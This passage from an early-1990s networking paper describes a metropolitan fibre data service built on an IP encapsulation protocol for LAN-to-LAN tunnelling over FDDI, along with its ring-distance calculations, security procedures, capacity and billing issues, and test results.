still provide a bridge interface to the attached user LANs. But how to do this?

Synchronicity being what is, RFC 1234 [6] on encapsulating Novell traffic for creating tunnels through IP
networks and RFC 1241 [7] for creating IP host-to-host encapsulation tunnels for experimental protocols
came out at just that time. RFC-1241 was taken as a starting point, and with some modifications designed
to facilitate LAN to LAN instead of host to host connectivity, and a new experimental encapsulation
protocol was born. This protocol was experimentally implemented by Fibercom and incorporated as a
special software update for their existing hardware.

How then does this new encapsulation protocol work? At the point where a user connects to the MAN, an
encapsulator/decapsulator is provided as the network interface device. These encapsulators are built from
multiport bridge or router hardware, and have some number of exterior network LAN connections plus a
dual attach FOOl connection to the interior network.

The exterior LAN connections are identified by their port number, and the address of the encapsulator on
which they appear. The encapsulator has an IP address in the interior FDOI network. Thus, any port may be
described by a tuple of <port number, IP address>. The private virtual backbone is then a set of
port tuples, with the connectivity between the various encapsulators handled by normal IP routing
functions.

When a MAC datagram arrives at the exterior LAN port of an encapsulator, the frrst step in processing it is
to determine whether or not the destination address is local to that LAN. If it is non-local, it will be
forwarded in a normal learning bridge manner. Otherwise, it will be ignored. Note that this determination of
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whether or not to forward a given datagram is not restricted to the learning bridge function; it just happens
that this meets the service requirements and internal goals associated with delivering the MDS service.

Given that the MAC datagram is to be forwarded, the next step is to map from the port on which it arrived
onto the appropriate private virtual backbone. As any port may only be a member of a single virtual
backbone, this is a relatively straightforward table-lookup, yielding a "circuit number".

The circuit number will then be mapped onto an IP destination address. For point-to-point virtual
backbones, this will lookup will give the IP address of the remote encapsulator. An IP datagram will then
be constructed, with a source address of the originating encapsulator, a destination address of the target
encapsulator; an encapsulation header which contains the originating port number and the circuit number,
in addition to some other security information; and the original MAC datagram as the data portion.

The resulting IP datagram is then routed as necessary to the target encapsulator, where it is unpacked. The
unpacking process involves a reverse mapping of the circuit number to the originating IP address and port
number. Given that the numbers all match, and the securityinfonnation is correct, the original MAC
datagram is then inserted into the destination network.

Should the private virtual backbone contain more than two exterior LANs, then an IP multicast address is
constructed for the set of encapsulators. There are few other changes to the process. The ftrst change is in
the construction of the MAC level transport packet for the IP datagram, where an appropriate mechanism
must be used to multicast the packet to the destinations. Second, prior to the IP datagram actually being
received by the decapsulation software, it must be verified that the particular receiving decapsulator is in fact
a member of the multicast group. Finally, prior to transmission of the decapsulated MAC datagram into
the target exterior LAN, a reverse learning bridge function is applied. This keeps the packet from being
forwarded unless its destination address is present in the exterior LAN.

All of the tables which are used to maintain the private virtual backbones are manually configured and
down-loaded into the target devices. Contrast this with the semi-automatic router information protocols
commonly used in intemetworking implementations. As the goal is not to provide maximum
interconnectivity but rather to insure maximum privacy, it is entirely appropriate to resbict the conditions
under which a reconfiguration of the interface between the exterior and interior network occurs.

This scheme has a number of appealing features. First, it does keep the operations of exterior LANs from
affecting any aspect of the operations of the interior network. Second, it does allow any network protocol to
be utilized by users from one exterior LAN to another. Third, it allows the network to be managed by
conventional SNMP network management tools. Finally, it allows the construction of a robust and
redundant interior network to which additional capacity can easily be added using commercially available off­
the-shelf products.

This issue of providing additional capacity is critical in the overall deployment strategy. Given that the
interior network is constructed as an IP routed network, the fust line of defense is to deploy targeted DS-3
circuits to link regions of the interior network between which there is a large volume of traffic. This
custom tailoring of the network to fit traffic patterns is possible due to the supply of DS-3 circuits in the
standard MFS telephony network, plus the ease of integrating the additional capacity into an IP network.

When performance degrades further, the next step would be to deploy a second FDDI backbone, and take
advantage of IP multipath routing. This "stacking" of FDDI rings can be extended until the available supply
of fiber optic cable is depleted, at which point wave division multiplexed lasers could be used to run two or
more FDDI rings on the same fiber pair by running different rings at different light frequencies. For
example, lasers are readily available at one at 1300 nm, at 1550 nm, and several other standard frequencies.

By the tiqle that service demands far outstrip available capacity, the preferred solution will be to convert the
backbone to OC-48 SONET or some similar multi-gigabit technology. Any technology which will support
an IP rout~ network, and for which the economics work, is completely viable.

In the mean time, for service requirements which demand guaranteed bandwidth availability, service can be
provided by using time division multiplexors on DS-3 circuits. This would be a very expensive proposition
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for a user to undertake directly, as we noted in the introduction. However, due to the fact that MFS has the
ability to re-use the portion of the OS-3, it is possible to offer such a service for a 30 to 50 percent
premium over the common backbone service.

4.2. Implementation Details

Having decided on an architecture, all that remained was to devise some solutions to a few pressing
problems.

4.2.1. FDDI on single mode fiber

Given that multimode fiber may be driven using low-cost LED drivers, but that single-mode fiber requires
significantly more expensive laser drivers, it should come as no surprise that there really is no standard for
FOOl on single-mode fiber. Nonetheless, as telephone companies use single-mode fiber exclusively, there
are several vendors of both FOOl equipment and general fiber optic equipment which have solutions for this
problem. The problem then remains finding solutions which work together in a reasonable manner.

For example, one FOOl equipment vendor, Fibercom, has very high quality single-mode lasers built onto
their FOOl cards. Other vendors stated that they would have on-board single-mode lasers available "soon".
In the mean time, it was suggested that we use converter boxes such as those built by Network Systems,
ODS, or Fibermux. In testing, we discovered that the ODS and Fibennux converters worked well with the
Fibercom on-board lasers, leading us to believe that the multimode versus single-mode issue is overstated.

Given a resolution for the laser interoperability issue, the remaining issue was distance. Again, using single
mode fiber and laser drivers, the true limit is something called optical budget. Simply put, optical budget is
the attenuation limit over the fiber. A typical laser driver/receiver pair might have 20 dB of optical budget,
meaning that at 20 dB of optical attenuation, there is insufficient light signal to process at the receiver.

In the equipment which we tested, optical budgets of 30 dB were common, and one vendor stated that given
an opportunity to hand-select the transmit/receive pairs, a budget of 35 dB could be attained. However, this
proved not to be necessary. In the Houston network, the longest uninterrupted fiber run is just under 35
miles, and has a measured attenuation of 19.4 dB. Much longer distances could be covered easily. However,
the ability to transmit and receive laser signals over long distances is only part of the problem.

4.2.2. FDDI over long distances

The MFS backbone network in Houston was initially targeted to be approximately 90 miles in length.
Conventional wisdom was that FODI standard specified that rings were to be limited to 100 KM, or about
62 miles. Once again, investigation proved to be useful.

Careful reading of the ANSI FODI standard [5], in section 4.4.1, page 31 indicated that the overall timing
was limited, and that if you assumed the maximum number of stations on the ring, each with the
maximum station delay, that you could only go 200 kilometers, which limited the ring size to 100
kilometers given that a full ring wrap-around must be accommodated.

The true limit is that the D_Max value, the maximum ring latency pennitted. The value for D_Max is
specified as 1.617 milliseconds, by default. The calculations in the standard note that if you have the
maximum of 1000 stations on the ring, each of which has the maximum of 15-symbol (600 nanosecond)
latency per physical connection, that you use up .6 milliseconds in physical connection delay, leaving
1.017 milliseconds of transmission time. Given that light flows at about 5100 nanoseconds per kilometer,
the 200 kilometer number is derived, and the misconception begins.

However, if you are willing to limit the number of stations significantly, a different story is possible. For
example, in the "null network", with no stations present, you may have a ring of approximately 100 miles
(around 324 kilometers in full wrap). It is thus possible to calculate the number of stations which you may
accommodate on any network size between 62 and 100 miles. With 5 stations, we were able to successfully
operate a ring of approximately 80 miles, at full speed and in full wrap.
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4.2.3. Security issues
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The encapsulation protocol is only part of the security solution. There are a number of other issues which
are equally importanL First, it is critical to provide for the physical security of the network. This is
partially handled by the nature of fiber optic networks, and the fact that MFS has secure POPs into which
the encapsulator hardware is placed.

Second, is the issue of insuring that policies are followed to prevent user attachment to the network other
than through a network interface device, or mis-configuration of the network control tables. Third, is that
of ensuring that other procedures are followed in nonnal operations when there might be any potential
security exposure.

The net result of this is that actions were taken to insure that the MFS MAN would meet the requirements
of an auditably secure network. An audit team from a computer risk management group is evaluating the
procedures, and is preparing additional procedures for continuing operations and audits.

4.2.4. Capacity management issues

Knowing that it is possible to add more capacity in a relatively straightforward manner does not lessen the
issues around capacity management Initially, the problem is self-limiting. For the frrst few users, the fact
that the transport mechanism provides 100 Mb/s of connectivity but that they can only source 10 or 16
Mb/s of data will suffice to keep the channels clear.

However, as the number of participants increases, this will no longer be true. The question becomes, how
does one manage capacity availability in a network? Unfortunately, good answers are not readily
forthcoming. There is little information about how to directly monitor usage in an internetwork and
determine that N additional Mb/s of throughput is required to maintain adequate service levels.

Two different tools will be used in this process. First, detailed monitoring is being done via SNMP. A very
large number of data rate and transmission information is being accumulated into a relational database. This
data may be probed to yield an understanding of the characteristics of the network. Second, detailed
simulations are being investigated. The information accumulated about the nature of the network, combined
with detailed knowledge of the performance and queueing characteristics of the various internetworking
devices used makes it possible to simulate the effect of adding additional load or transmission capacity. This
form of "what if' reasoning will make it possible to better understand how to manage the capacity of the
network.

4.2.5. Billing Issues

There is one other user issue: billing practices and rates. There are many religious issues involved in
internetwork construction, and chief among these is that of pricing. In addition to the actual dollar rate per
unit connection, there is the issue of flat rate versus usage sensitive rates.

Rather than attempt to resolve that issue, we decided to embrace the diversity of views and accommodate
both of them. Given that the logical view of the exterior network includes a network interface device,
having this device count data quantities in and out of the network should be relatively straightforward, even
if doing so does leave us with another "implementation detail". The more difficult question is what to
charge for usage on a variable basis.

5 • Evaluation

Evaluation is still on-going. The official announcement of the MFS MultiMegabit Data Service offering
was August 20, 1991. There has been a significant amount of interest in the service offering, and in the use
of the IP encapsulator to construct private networks. However, a the actual number of circuits in service
remains small, possibly due to the fact that the service is only available in buildings to which MFS has
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fiber connectivity. Nonetheless, a significant amount of performance data are being collected and figures for
perfonnance and utilization will be made available.

In testing, we found that with no load on the FDDI backbone that we could achieve end-to-end transmission
rates of just under full Ethernet speed. This remained true as the number of simultaneous network
conversations was raised to the point at which we ran out of test equipment with which to increase the load.
Latency remains acceptable, with nodal queuing delays similar to those found in Ethernet-only networks and
transmission delays reduced from a purely Ethernet network. Specific figures and description of
measurement techniques will be available in future works.

In testing FDDI transmission rates across the backbone, we ran into significant difficulties. For example,
how do you stress test a 100 Mb/s network when you can't get more than 13 Mb/s from your host FDDI
adaptor? Work is still underway to increase the speed of transmission to and from several Sun file servers.
In the interim, a variety ofFDDI packet generator technology was utilized, allowing us to significantly load
the ring. Note that this loading may be relatively insignificant with regard to performance is it was to a
limited number of recipients and from a single source, which may have some impact on the bridging and
routing performance of the interior network.

Even under load over the full 80 mile distance of the ring, we found no performance degradation. The ring
was placed in and out of wrap mode, again under load, again without degradation in performance. Ethernet
conversations in process simultaneously showed no signs of being affected by the anificialload on the
FDDI ring, or of the wrap state of the ring.

The IP encapsulators give wire-speed performance for "normal" data, but show a 30% degradation for tiny­
grams (Le. 64 to 100 byte packets). Analysis indicates that this is due to the transmission overhead of the
encapsulation headers. Clearly, this technique is better suited to larger datagrams, as the cost of
encapsulating is fixed, but the cost of transmitting the extra encapsulation header bits is relatively lower for
longer packets.

6 . The Future

While the initial development of the IP encapsulator and the resultant service offering is complete, there
remain a number of issues which remain to be addressed in the future. The service offering itself, and the
way in which the service is provided, is a response to user requirements. It is reasonable to expect an
evolutionary approach into the future.

6.1. High speed wide area networks

As MFS is interconnected to all of the long distance providers, using the MDS service in the metropolitan
area to attach to a private connection to the wide area and other cities is a simple proposition. A more
complex issue is how to take advantage of large quantities of potential traffic and aggregate it onto a smaller
number of higher-speed long distance connections. To this end, discussions are underway with several of the
long distance providers, and with the commercial internet exchange members.

It is interesting to note that the MDS service offering has another possibility as well: that of allowing
some long distance carrier to provide pay-as-you-go bandwidth on demand wide-area connectivity. Since the
interior network on which the MDS service is provided is all IP routed, it would be very simple to install
FDDI-10-DS3 routers, and measure the usage on a per-connection basis. Particularly coupled with a service
offering like the MCI switched DS-3 service, this would allow more cost effective construction of DS-3
backbone networks, and potentially allow lower cost for consumers of such services.

While this is not part of the current product family, it is a subject of great interest, and further work will
doubtless be done. Details to be resolved include how to handle the separation between the long distance
service provider and the MDS network, and how to handle billing issues since per-unit-time is difficult to
establish in a packet network.
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6.2. SONET, SMDS, and the like
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As the interior network is constructed using IP routing, it is possible to re-deploy the network on new
underlying technologies as they become available. This is a significant notion, and marks a major difference
between the MDS service and others. The important portion of the technology is that it provides port-to­
port connectivity for a variety of LAN connections over a routed TCP/IP network. The specifics of how
that network is constructed are irrelevant so long as there is adequate capacity to meet the service
requirements. Even at this time it is clear that FDOI does not have a tremendously long service life,
possibly on the order of a few years. Following that, new technologies will be required.

So, when OC-48 SONET networks with full drop-and-insert capabilities are available, it would be relatively
simple to replace the transport with SONET. LAN speed connectivity could then be provided either directly,
or by grooming out OC-3 circuits (which could be mapped into FOOl) as needed. Likewise, if SMOS
becomes a viable technology, portions of the network may be replaced with SMOS switched service.

6.3. Other gigabit networks

At this point, however, it is the other giagabit network technologies which appear most attractive. The
possibility of seeing HIPPI switching distances extended significantly, and deploying a metropolitan area
HIPPI switched service is very exciting. Likewise the possibility of seeing the distance limits removed
from other networking technologies such as the Ultra Network has some appeal, particularly given that
similar digital data rates have far longer distance limits in other applications. Ditto anything happening at
Protocol Engines. We plan to monitor advances in this area carefully.

7 • Availability

The results of this work are available in three forms:

If you are interested in obtaining LAN-to-LAN connectivity at native LAN data rates, using the MOS
service, call the Metropolitan Fiber Systems office in your area. If you are unable to locate or contact your
local MFS office, contact Scott Yeager at MFS in Houston at (713) 236-9637.

If you are interested in obtaining an IP encapsulator with which to construct your own network, please be
patient. The description of how to build an encapsulator will be released to the Internet Activities Board in
the first part of 1992. Whether or not it is adopted as an lAB standard, this information will be made widely
available at that time, and a number of internetworking device vendors have committed to implementing the
encapsulation protocol.

If you are interested in clarification on any point in this paper, or additional information regarding this
technology or its applications, please contact me directly at Technology Transfer Associates; 6750 West
Loop South, Suite 500; Bellaire TX 77401; Voice: (713) 661-2084, FAX: (713) 662-8504; E-mail:
stan@tta.com

8. Conclusion

There are a few points which bear repeating

• progress is only made by deviation from accepted practice

• the FOOl standard is sufficiently flexible, and the manufacturers interpretation of the
standard sufficiently pessimistic to make it possible to construct rings much larger than
might be expected based;
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• the development of a new type of intemetworking device, the encapsulator, makes it
possible to build secure internetworks supporting multiple different protocols in a
common carrier fashion;

• the encapsulator also obviates the need to support protocols on a backbone network
other than TCP/IP, which can make a significant difference in the complexity of
managing a complex network

The ultimate significance of the MFS network service offerings will not be clear until further deployment
has happened and additional results are available. However, being able to obtain native LAN speed
throughput for near the cost of TI circuits should have a very large impact on the ways in which people
build and use large networks for distributed computing. Just providing the opportunity to re-think the way
in which distributed computing problems are solved is in itself very exciting.

Finally, it is important to note that in this project we have broken rules regarding FDDI networking, the
kinds of internetworking devices you should use, and how phone companies should behave. Further, we
seem to have survived and prospered. Thus, it's clear that someti~es you *can* break the rules.
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